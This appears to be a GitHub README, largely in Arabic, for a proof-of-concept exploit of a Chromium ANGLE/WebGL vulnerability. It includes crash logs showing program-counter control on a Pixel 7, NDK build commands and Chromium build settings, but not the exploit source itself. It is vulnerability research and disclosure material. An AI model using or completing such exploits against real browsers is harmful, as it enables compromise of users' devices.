jaf0rk/cve-2026-14382إثبات مفهوم لاستغلال CVE-2026-14382، وهي ثغرة شديدة الخطورة في ANGLE ضمن Chromium، مع 32-bit و AArch64 PoCs تحقق التحكم في عداد البرنامج عبر WebGL.
[$250000][492218546] High CVE-2026-14382: Insufficient validation of untrusted input in ANGLE. Reported by anonymous on 2026-03-13
يبدو أن السبب الجذري لهذه الثغرة مشابه لسبب ثغرة CVE-2025-6558. بناءً على تحليلي الحالي، أشك في أنها قد تكون متغيرًا من CVE-2025-6558. لذلك قمت بتكييف PoC الخاص بـ CVE-2025-6558 وأنشأت الملفات التالية:
poc.c هو PoC الرئيسي، لكنه يعمل فقط في بيئة 32 بت. كما هو الحال مع PoC الأصلي لـ CVE-2025-6558، يسمح بالتحكم في عداد البرنامج (PC).poc64.c يُظهر أن نفس المشكلة يمكن إعادة إنتاجها أيضًا في بيئة AArch64. ومع ذلك، فإن قيمة PC الناتجة غير متوقعة ولا يمكن التحكم فيها بشكل موثوق، مما يجعل الاستغلال صعبًا. ما زلت أبحث فيما إذا كان يمكن تحقيق تحكم موثوق في PC.poc64.html مكافئ وظيفيًا لـ poc64.c، لكن التعطل لا يتم تشغيله بشكل موثوق في كل محاولة. إذا لم يتعطل، حاول تشغيله عدة مرات.Pixel 7 Android16
--------- beginning of crash
06-29 11:17:38.359 26942 26942 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150 in tid 26942 (poc), pid 26942 (poc)
06-29 11:17:38.374 26950 26950 I crash_dump32: obtaining output fd from tombstoned, type: kDebuggerdTombstoneProto
06-29 11:17:38.375 747 747 I tombstoned: received crash request for pid 26942
06-29 11:17:38.375 26950 26950 I crash_dump32: performing dump of process 26942 (target tid = 26942)
06-29 11:17:38.393 1624 1624 W TracingMuxer: type=1400 audit(0.0:31735): avc: denied { write } for name="traced_producer" dev="tmpfs" ino=1316 scontext=u:r:gxp_logging:s0 tcontext=u:object_r:traced_producer_socket:s0 tclass=sock_file permissive=0
06-29 11:17:38.427 26950 26950 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-29 11:17:38.427 26950 26950 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
06-29 11:17:38.427 26950 26950 F DEBUG : Revision: 'MP1.0'
06-29 11:17:38.427 26950 26950 F DEBUG : ABI: 'arm'
06-29 11:17:38.427 26950 26950 F DEBUG : Timestamp: 2025-06-29 11:17:38.376836685+0800
06-29 11:17:38.427 26950 26950 F DEBUG : Process uptime: 1s
06-29 11:17:38.427 26950 26950 F DEBUG : Cmdline: ./poc
06-29 11:17:38.427 26950 26950 F DEBUG : pid: 26942, tid: 26942, name: poc >>> ./poc <<<
06-29 11:17:38.427 26950 26950 F DEBUG : uid: 2000
06-29 11:17:38.427 26950 26950 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r0 f3dc1630 r1 00000000 r2 00000000 r3 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r4 f319fc7c r5 f76bb2d0 r6 00000000 r7 f76bb2dc
06-29 11:17:38.427 26950 26950 F DEBUG : r8 f319fbd8 r9 00000000 r10 f3194290 r11 00000001
06-29 11:17:38.427 26950 26950 F DEBUG : ip 00000000 sp fff04368 lr f47b35af pc 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : 5 total frames
06-29 11:17:38.427 26950 26950 F DEBUG : backtrace:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Function names and BuildId information is missing for some frames due
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: to unreadable libraries. For unwinds of apps, only shared libraries
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: found under the lib/ directory are readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: On this device, run setenforce 0 to make the libraries readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Unreadable libraries:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: /data/local/tmp/poc
06-29 11:17:38.427 26950 26950 F DEBUG : #00 pc 8d42a150 <unknown>
06-29 11:17:38.427 26950 26950 F DEBUG : #01 pc 006185ad /vendor/lib/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+196) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #02 pc 00619a6b /vendor/lib/egl/libGLES_mali.so (gles_drawp_draw_common+794) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #03 pc 005d1373 /vendor/lib/egl/libGLES_mali.so (gles_draw_draw_arrays+32) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #04 pc 000022fc /data/local/tmp/poc
--------- beginning of system
arm32:
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=armv7a-linux-android34 -g -O0 -o poc
aarch64:
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=aarch64-linux-android34 -g -O0 -o poc
commit 65db666ac2cf205fcc36db8bb5b9cd87f94808ac (HEAD -> 148.0.7778.167, tag: 148.0.7778.167)
Author: Juan Mojica <[email protected]>
Date: Mon May 11 16:14:03 2026 -0700
[148] [lens] Delay searchbox initialization to fix flaky thumbnail
Original change's description:
> [lens] Delay searchbox initialization to fix flaky thumbnail
>
> Move the OnPageBound() invocation from the LensSearchboxHandler
> constructor to the LensSearchboxController registration methods.
>
> Previously, OnPageBound() fired during the handler object's
> construction. At this stage, the controller's pointer to the handler was
> still null, causing initial state flushes, such as cached thumbnails and
> pending text queries, to be skipped.
>
> Delaying this notification until the handler is fully stored in the
> controller ensures that the initial state push always succeeds. This
> resolves the flaky viewport thumbnail issue by securing the existing
> state propagation order without introducing side effects.
>
> Demo: http://shortn/_DGK0HD8ARP
> Bug: b:510419641
> Change-Id: If0abf11b601f78f5555969295e224cec30a82162
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7830897
> Auto-Submit: Juan Mojica <[email protected]>
> Commit-Queue: Juan Mojica <[email protected]>
> Reviewed-by: Riley Tatum <[email protected]>
> Commit-Queue: Riley Tatum <[email protected]>
> Reviewed-by: Duncan Mercer <[email protected]>
> Cr-Commit-Position: refs/heads/main@{#1627226}
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 2
v8_symbol_level = 2
blink_symbol_level = 2
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
treat_warnings_as_errors = false
po64.htmlxxxx@xxxx-pc:~/xxxx/xxx$ adb logcat | grep DEBUG
07-02 06:01:35.467 14975 14975 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-02 06:01:35.467 14975 14975 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
07-02 06:01:35.467 14975 14975 F DEBUG : Revision: 'MP1.0'
07-02 06:01:35.467 14975 14975 F DEBUG : ABI: 'arm64'
07-02 06:01:35.467 14975 14975 F DEBUG : Timestamp: 2025-07-02 06:01:35.267116437+0800
07-02 06:01:35.467 14975 14975 F DEBUG : Process uptime: 15s
07-02 06:01:35.467 14975 14975 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
07-02 06:01:35.467 14975 14975 F DEBUG : pid: 14856, tid: 14876, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
07-02 06:01:35.467 14975 14975 F DEBUG : uid: 10293
07-02 06:01:35.467 14975 14975 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
07-02 06:01:35.467 14975 14975 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x0 b400006f5c65b620 x1 0000000000000000 x2 0000000000000000 x3 002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x4 b4000070d83c50f0 x5 0000000000000000 x6 0000000000000000 x7 0000006d95475904
07-02 06:01:35.467 14975 14975 F DEBUG : x8 0c47bf888b6997ff x9 0c47bf888b6997ff x10 0000000000000000 x11 0000000000000002
07-02 06:01:35.467 14975 14975 F DEBUG : x12 0000006d95475590 x13 0000005ffae1e000 x14 0000000000000200 x15 00000508f18de566
07-02 06:01:35.467 14975 14975 F DEBUG : x16 0000006de78fa2e8 x17 00000070c3c6ec40 x18 0000006d94534000 x19 b400006df696ca00
07-02 06:01:35.467 14975 14975 F DEBUG : x20 b4000070d83c50f0 x21 b400006df697d7c8 x22 b400006df697d8f0 x23 0000000000000000
07-02 06:01:35.467 14975 14975 F DEBUG : x24 b4000070d83c5108 x25 0000000000000000 x26 b4000070d83c5110 x27 0000000000000010
07-02 06:01:35.467 14975 14975 F DEBUG : x28 0000000000000008 x29 0000000000000001
07-02 06:01:35.467 14975 14975 F DEBUG : lr 0000006de5240c88 sp 0000006d95475820 pc 002e00640069006f pst 0000000060001000
07-02 06:01:35.467 14975 14975 F DEBUG : 32 total frames
07-02 06:01:35.467 14975 14975 F DEBUG : backtrace:
07-02 06:01:35.467 14975 14975 F DEBUG : #00 pc 002e00640069006f <unknown>
07-02 06:01:35.467 14975 14975 F DEBUG : #01 pc 00000000009fbc84 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+292) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #02 pc 00000000009fd614 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_draw_common+1060) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #03 pc 00000000009949fc /vendor/lib64/egl/libGLES_mali.so (glDrawArrays+92) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #04 pc 0000000005b6d69c /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #05 pc 000000000904f390 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #06 pc 0000000009048a30 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #07 pc 00000000065c4548 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #08 pc 00000000068f9e20 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #09 pc 00000000068fb024 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #10 pc 00000000068faecc /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #11 pc 0000000005abd928 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #12 pc 00000000065c5b00 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #13 pc 0000000005765884 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #14 pc 0000000005aac700 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #15 pc 0000000005fd6ff0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #16 pc 0000000007087ba8 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #17 pc 0000000007b0a540 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #18 pc 00000000070bf1ac /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #19 pc 00000000070bf5b0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #20 pc 0000000007984ac4 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #21 pc 0000000007984788 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #22 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #23 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #24 pc 000000000028e37e /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/base.apk (offset 0x1f6f000) (gj1.run+570)
07-02 06:01:35.467 14975 14975 F DEBUG : #25 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
07-02 06:01:35.467 14975 14975 F DEBUG : #26 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #27 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #28 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #29 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #30 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
07-02 06:01:35.467 14975 14975 F DEBUG : #31 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)